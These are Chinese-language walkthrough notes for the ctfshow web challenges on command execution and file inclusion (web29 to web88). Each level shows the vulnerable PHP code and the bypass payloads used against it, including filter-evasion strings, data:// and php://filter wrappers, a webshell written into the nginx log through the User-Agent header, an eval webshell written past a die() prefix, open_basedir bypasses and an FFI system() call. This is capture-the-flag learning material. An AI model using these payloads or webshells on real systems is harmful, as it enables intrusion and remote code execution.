ctfshow-web入门笔记-命令执行

命令执行

web29

读代码,发现是过滤flag字符。那么可以直接
?c=echo%20ls;
先看看本路径有啥,然后发现有flag.php,那么直接
?c=echo%20nl%20*;
把文件内容全部输出,即可得到flag。

web30

读代码,发现过滤的内容多起来了。那么直接
?c=echo ls;
先看看本路径有啥,然后发现有flag.php,那么直接
?c=echo%20nl%20*;
把文件内容全部输出,即可得到flag。

直接
?c=echo%20nl%20f''lag.p''hp;
把敏感字符直接用空字符截断也行。

web31

读代码,发现过滤的内容多起来了。看wp有这样的解决方法,直接“换条赛道”,即:
?c=eval($_GET["b"]);&b=system("cat%20flag.php");

也可以用其他函数
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

  • localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个”.”
  • pos():输出数组第一个元素,不改变指针;
  • scandir();遍历目录,这里因为参数为”.”所以遍历当前目录
  • array_reverse():元组倒置
  • next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
  • show_source():查看源码

web32

读代码,过滤的内容太多了。看wp,发现如下payload:
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php://filter/convert.base64-encode/resource 是 PHP 中的一种 流过滤器,用于将指定文件的内容进行 Base64 编码.

使用这个过滤器等同于将所有流数据通过 base64_encode() 函数进行处理. 如果给定了 line-length 参数,则输出的 Base64 字符串将被分成每行 line-length 个字符的块。如果给定了 line-break-chars 参数,则每个块将由给定的字符分隔. 这些参数与使用 base64_encode() 和 chunk_split() 函数具有相同的效果.

首先用include包含一个get内容,为参数1。参数1为php://filter/convert.base64-encode/resource=flag.php,用base64的流输出flag.php的编码。

web33

能用web32的方法。

web34

能用web32的方法。

web35

能用web32的方法。

web36

能用web32的方法。注意:这里还过滤了数字,所以变量名可以改成字母。我改成了’a’。
/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

查看代码,发现include()。
include几种解法

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

使用data://伪协议传base64编码后的字符,即:

1
2
PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=即为
<?php system("tac flag.php") ?>

PHP中有很多内置URL风格的伪协议,其中之一是data://。该协议可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时POST想设置的文件内容,PHP执行时会将POST内容当作文件内容. 该协议需要allow_url_include为on,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行.

web38

解法和上一题一样。
可以先尝试?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgibHMgLWEiKQo/Pg==,即:

1
2
3
<?php 
system("ls -a")
?>

然后再?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgiY2F0IGZsYWcucGhwIikKPz4=,即:

1
2
3
<?php 
system("cat flag.php")
?>

不知道为什么,不能用nl *

web39

这里的include()加了.php的后缀。看wp,是可以直接通过注释来截断绕过的。

另一个wp直接没管后面的.php。?c=data://text/plain,

web40

wp说了很多方法

方法一

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

  • localeconv() 函数返回一个包含本地数字及货币格式信息的数组。数组第一项就是当前目录。
  • pos() 函数返回数组第一个元素
  • scandir() 函数返回指定目录中的文件和目录的数组。
  • array_reverse() 函数将数组颠倒。
  • next() 函数将数组指针移动到下一个元素并返回该元素。
  • show_source() 函数读取文件内容并输出。

因此,这段代码会输出当前目录下最后一个文件的内容。请注意,这段代码可能会有安全风险,因为它允许读取任意文件。如果您不信任输入,那么请勿使用这段代码

方法二

c=show_source(next(array_reverse(scandir(getcwd()))));

  • getcwd() 函数返回当前工作目录的路径。
  • scandir() 函数返回指定目录中的文件和目录的数组。
  • array_reverse() 函数将数组颠倒。
  • next() 函数将数组指针移动到下一个元素并返回该元素。
  • show_source() 函数读取文件内容并输出。

因此,这段代码会输出当前目录下最后一个文件的内容。请注意,这段代码可能会有安全风险,因为它允许读取任意文件。如果您不信任输入,那么请勿使用这段代码。

方法三

c=eval(array_pop(next(get_defined_vars())));

  • get_defined_vars() 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
  • next() 函数将数组指针移动到下一个元素并返回该元素。
  • array_pop() 函数将数组中的最后一个元素弹出并返回该元素。
  • eval() 函数将字符串作为 PHP 代码执行。

因此,这段代码会执行 POST 请求中最后一个变量的值。请注意,这段代码可能会有安全风险,因为它允许执行任意 PHP 代码。如果您不信任输入,那么请勿使用这段代码。

可以直接POST数据。如:1=system('ls -a'); a=system('tac *');

web41

wp是这样说的。

留了一个“|”,可以直接采用wp提供的脚本!

web42

在system函数后加了拼接字符串。

1
>/dev/null 2>&1

在 Linux 中,>/dev/null 和 2>&1 是 shell 命令的重定向操作。其中:

  • >/dev/null 表示将命令的标准输出重定向到 /dev/null 文件中,相当于将命令的输出丢弃。/dev/null 是一个特殊的文件,所有向它写入的数据都会被系统丢弃。

  • 2>&1 表示将命令的标准错误输出重定向到标准输出中。这样,标准错误输出就会和标准输出一起输出到同一个地方。

因此,当您在执行命令时使用 >/dev/null 2>&1 时,标准输出和标准错误输出都会被丢弃。这种操作通常用于在后台运行命令时禁止输出。

那么就可以直接截断字符串。

?c=ls -a;

?c=tac flag.php;

web43

不让用分号截断命令了,但是还能用逻辑与截断。

在 Linux 命令行中,“||” 符号是逻辑或运算符。它用于连接两个命令,如果第一个命令执行失败,则执行第二个命令。这种方式可以让您在一条命令中处理多种情况。

例如,假设您想要在 Linux 中查找一个文件,但不确定它的确切位置。您可以使用以下命令:

1
find / -name "filename" || echo "File not found"

这个命令会在整个文件系统中查找名为 “filename” 的文件。如果找到了该文件,则输出该文件的路径。如果没有找到该文件,则输出 “File not found”。

请注意,“||” 符号只有在第一个命令执行失败时才会执行第二个命令。如果第一个命令成功,则不会执行第二个命令。

web44

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

还是截断字符串。使用||进行命令截断,然后使用通配符绕过正则waf。

?c=tac fla*.php||

web45

在web44的基础上,waf新增了空格。

可以使用tab绕过(url编码为%09)

?c=tac%09fla*.php||

也可以使用$IFS绕过。
?c=echo$IFStac$IFS*%0A

空格绕过:
在bash下可以用$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab),这儿跟sql注入有点相似,用/**/注释也能绕过。

${IFS},Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

web46

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

在上面的基础上过滤了单个数字、$、*。

还是可以通过%09绕过空格waf。不让用*,就用问号通配符绕过。

?c=tac%09fla?.php||

web47

在上题的基础上加了对more|less|head|sort|tail的绕过。

但是文件阅读还有nl、cat、tac、paste等等。用这些就行了。

?c=tac%09fla?.php||

web48

在上题的基础上加了对more|less|head|sort|tail|sed|cut|awk|strings|od|curl

还是没绕过tac

?c=tac%09fla?.php||

web49

还是没绕过tac

?c=tac%09fla?.php||

web50

还是没绕过tac,但是绕过了tab。可以采用单双引号绕过。

?c=tac<fla’’g.php||

?c=tac<fla’g’.php||

?c=tac<fla”g”.php||

都可以。

web51

类似web50。

web52

绕过了<>,但是可以采用${IFS}。flag在根目录下。

首先查找flag

?c=find${IFS}/${IFS}-name${IFS}fl””ag%0a

然后获取flag

?c=nl${IFS}/fla’’g%0a

web53

名字又改回了flag.php

?c=find${IFS}/${IFS}-name${IFS}fl””ag.php%0a

?c=s’’ort${IFS}fla””g.php%0a

web54

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

代码在每个字符前都加了贪婪匹配。那么就用问号通配符来代替flag这四个字母。

?c=find${IFS}/${IFS}-name${IFS}f???.php%0a

找到内容在

/var/www/html/flag.php /tmp/html/flag.php

那就直接输出。但是cat也被贪婪匹配给挡出去了,这个命令位于/bin/cat。就用问号通配符绕过。

?c=/bin/?at${IFS}f???.php%0a

web55

无字母数字的命令执行
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

php临时文件机制:
https://www.cnblogs.com/linuxsec/articles/11278477.html

1
2
3
4
5
6
7
8
9
在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。
上传后会文件会保存在全局变量$_FILES里,该数组包含了所有上传文件的文件信息。
$_FILES[‘userfile’][‘name’] 客户端文件的原名称。
$_FILES[‘userfile’][‘type’] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如”image/gif”。
$_FILES[‘userfile’][‘size’] 已上传文件的大小,单位为字节。
$_FILES[‘userfile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES[‘userfile’][‘error’] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
$_FILES[‘userfile’][‘tmp_name’] 文件被上传后在服务端存储的临时文件名
这里的重点就是$_FILES[‘userfile’][‘tmp_name’] 这个变量。

一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。那么,可以按照这篇wp的写法,首先构造一个Post包。

我们用这篇wp构造的网页,本地打开,抓一个post包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://5c9e21b1-784b-494a-a838-8963d9083b0a.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后修改post包,将内容换成命令。让服务器访问.+/???/????????[@-[]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 5c9e21b1-784b-494a-a838-8963d9083b0a.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------238130152919744165231855526388
Content-Length: 366
Origin: http://localhost:63343
Connection: close
Referer: http://localhost:63343/
Upgrade-Insecure-Requests: 1

-----------------------------238130152919744165231855526388
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

#!/bin/sh

ls
-----------------------------238130152919744165231855526388
Content-Disposition: form-data; name="submit"

鎻愪氦
-----------------------------238130152919744165231855526388--

上面那个包就是把内容换成了

1
2
3
#!/bin/sh

ls

多运行几次,总能运行到这个post文件。这样就可以命令执行了。

web56

解法与上题一致

web57

1
2
3
4
5
6
7
8
9
10
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

几乎把所有符号都防出去了。查看代码,似乎是要构造一个36出来。查看wp

通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $(($(()))) $(($(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( $(( $(($(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在$(( $(( )) ))里面放37个$(($(()))),得到-37,取反即可得到36:

同理,

${_} =”” //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1

可以连续构造37次-1,值为-37,取反就是36。

wp提供了一个脚本。

1
2
3
4
get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))" # -1
payload = get_reverse_number.format(negative_one*37)
print(payload)
1
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

查看源代码即得flag

web58

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

直接post一个system(“ls”),提示被禁用了。先扫一下当前路径的文件。

c=print_r(scandir(dirname(‘FILE’)));

两种方法,第一种是直接show_source()函数

c=show_source(“flag.php”);

一种是用include和文件流。

1
2
3
?a=php://filter/convert.base64-encode/resource=flag.php
post body中是:
c=include($_GET['a']);

或者直接包含文件流

c=include(“php://filter/convert.base64-encode/resource=flag.php”);

web59

同上题

web60

同上题

web61

同上题

web62

同上题

web63

同上题

web64

同上题

web65

同上题

web66

首先

c=print_r(scandir(dirname(‘FILE’)));

然后

c=highlight_file(‘flag.php’);

说flag不在这儿,就在根目录找一下

c=print_r(scandir(“/“));

有个flag.txt

c=highlight_file(“/flag.txt”);

web67

print_r()用不了了,可以用echo或者var_dump

c=var_dump(scandir(“/“));

c=echo(scandir(“/“)[6]);

发现flag.txt。读就行了。

web68

禁用了highlight_file。可以用include

c=include(“/flag.txt”);

web69

同上题

web70

同上题

web71

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

在执行代码后,捕获了输出缓冲区的内容,存储在变量$s中,然后清空了输出缓冲区,最后,用正则替代了$s。可以通过直接exit(0);让后面的代码不执行,直接退出。

c=include(“/flag.txt”);exit(0);

web72

print_r,var_dump都不让用了。

那就用echo。

c=echo(scandir(dirname(“FILE”))[2]);

能读到的flag.php是空的。

查看根目录,发现没办法读根目录,有权限

1
2
3
4
5
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/html/index.php(19) : eval()'d code on line 1

Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/index.php(19) : eval()'d code on line 1

查看wp,发现是绕过open_basedir。

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约,所以我们可以用它来绕过扫描目录

这段payload是查看根目录内容。当前目录就换成”glob://./*“即可

1
2
3
4
5
6
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');}
exit(0);
?>

根目录下有个flag0.txt,但是读取需要有权限。

UAF脚本得找一下。
https://cloud.tencent.com/developer/article/1944129
https://github.com/mm0r1/exploits/tree/master/php-json-bypass

这个wp的脚本能用。
https://blog.csdn.net/weixin_46081055/article/details/121648027

web73

用同样的glob绕过open_basedir,然后查看根目录,发现flagc.txt,然后就直接用include读取即可。

web74

同上题,不过换成了flagx.txt

web75

根目录下的flag换成了flag36.txt。

有各种绕过,包括ini_set(),include()和symlink()。

之前的uaf poc也因为禁止了strlen()函数用不了了。

这里wp用了sql的函数。通过连接sql来用load_file()函数进行读取。

但是有一个问题:如果这个题没有wp,该怎么知道这个主机有sql服务?该怎么知道这个sql服务的用户名和密码?用nmap扫描也扫不到结果。

1
2
3
4
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

跟web75差不多

web77

首先用glob绕过open_basedir(别忘了URL编码)

1
2
3
4
5
c=?><?php
$a = new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}
exit(0);
?>

然后根目录下发现flag36x.txt。

wp说用FFI。FFI是指在一种语言里调用另一种语言代码的技术。php7.4以上引入了这个特性。

1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

wp创建了一个新的system对象(C的),然后用这个对象调用system函数,执行“/readflag > 1.txt”(服务器存在一个readflag可执行文件,其功能是输出flag内容),将其输出到1.txt,然后就能访问这个/1.txt得到flag。

web78

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

可以传一个file的get参,用于文件包含。

?file=php://filter/read=convert.base64-encode/resource=flag.php

传完了以后即得到base64字符串,解码即得flag。

web79

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

加了一个字符串替换的waf

方法1:data伪协议

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

把<?php system(‘cat flag.php’);打成base64发过去。完了以后查看源代码即可。

方法2:php伪协议可以通过大小写绕过,但是后面的flag文件名不好整,那么可以通过php://input伪协议来读post body中的内容

?file=Php://input

与此同时post body里放上

方法3:php短标签+通配符
?file=data://text/plain,

?file=data://text/plain,

web80

方法1: 同上题方法2

?file=Php://input

与此同时post body里放上

方法2:包含日志文件

首先访问/var/log/nginx/access.log,抓包。将木马写入User-Agent

1
2
3
4
5
6
7
8
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 6b79019c-d1f6-443b-84b4-5ebb0af87951.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0<?php eval($_GET['a']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

然后连access.log这个后门或者直接任意命令执行。
?file=/var/log/nginx/access.log&a=system(‘cat /var/www/html/fl0g.php’);phpinfo();

注:需要看源代码才能看到cat的内容

web81

1
2
3
4
5
6
7
8
9
10

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

waf加了冒号。只能用上一题的方法2了。wappalyzer看到反向代理是nginx。

首先访问/var/log/nginx/access.log,抓个包,往header的UA里写马。

然后连后门或者直接任意命令执行。

?file=/var/log/nginx/access.log&a=system(“cat fl0g.php”);

web82

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这题无法访问access.log了。那该怎么办呢?看wp,可以通过session进行反序列化或者文件包含。

根据这篇文章,在php.ini中,session有着这样的配置:

1
2
3
4
5
session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
session.upload_progress.prefix = "upload_progress_" //将表示为session中的键名
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中,php将会报告上传进度,而且它的值可控!!!
session.use_strict_mode = off //这个选项默认值为off,表示我们对Cookie中sessionid可控!!!
session.save_path = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录

需要用到的精髓问题就是如下两点,wp中有解答:

  1. 代码里没有session_start(),如何创建session文件呢?
    其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

session还有一个默认选项,session.use_strict_mode默认值为0。在这个情况下,用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

  1. 但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容会立即清空?

可以通过竞争,在session文件内容清空前进行利用。

编写一个利用脚本。从这个wp处找到一个python脚本。

最近在学习go语言,那就用go写。有时间就用go写!

web87

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
highlight_file(__FILE__);
}

绕过file_put_contents()的php die死亡代码。

绕过方式总结
绕过方式总结

对于这道题,可以采用base64编码绕过的情况。

首先,file参数设置用base64流写文件;

1
php://filter/write=convert.base64-decode/resource=shell.php

这里因为waf绕过,所以需要两次url编码。为什么要两次?因为

到了服务器端,也就是容器端:【容器默认做一次解码(utf-8, gbk, iso-xxxx)】->【服务器端代码做一次 utf-8解码】
两次url编码可以解决服务器不采用utf8解码时会出现乱码的情况,也可以绕过一些waf。

然后,content写入马。

1
content=<?php phpinfo();eval($_GET['cmd']);?>

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

我们可以通过这个拼接来做到这一点。

”中,一共参与解码的是phpdie六个字符。所以只有六个字节,需要补充两个字符。

对这道题,如果我们传过去上面木马的直接base64结果:PD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg==的话,就会进行一个拼接,即base64解码

1
phpdiePD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg==

其结果奇怪。因为phpdie只有六个字节,又挖来了我们传过去的字符串最前面的俩字符PD。

1
¦]‰ãÃ÷‡‡–æfò‚“¶Wf‚EôtUE²v6ÖBuғ³óà

所以我们要在base64的情况补俩字符,这样PD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg==就能正常解码了。

1
¦]‰æš<?php phpinfo();eval($_GET['cmd']);?>

cmd=system(“ls”);
然后进行查看源代码即可。

web88

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

发现过滤了大多数字符,但是没有过滤冒号,可以考虑采用PHP伪协议,往data://text/plain;base64,xxxxxx里加东西,但是因为这里加号和等于号全部被waf了,所以需要在编码里去掉。这里构造一个任意命令执行。

1
?file=data://text/plain;base64,<?php eval($_GET['a']);?>aa&a=system('ls');

在构造结束后,即可对要写入的部分base64一下,然后就能任意命令执行了。

1
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/PmFh&a=system('ls');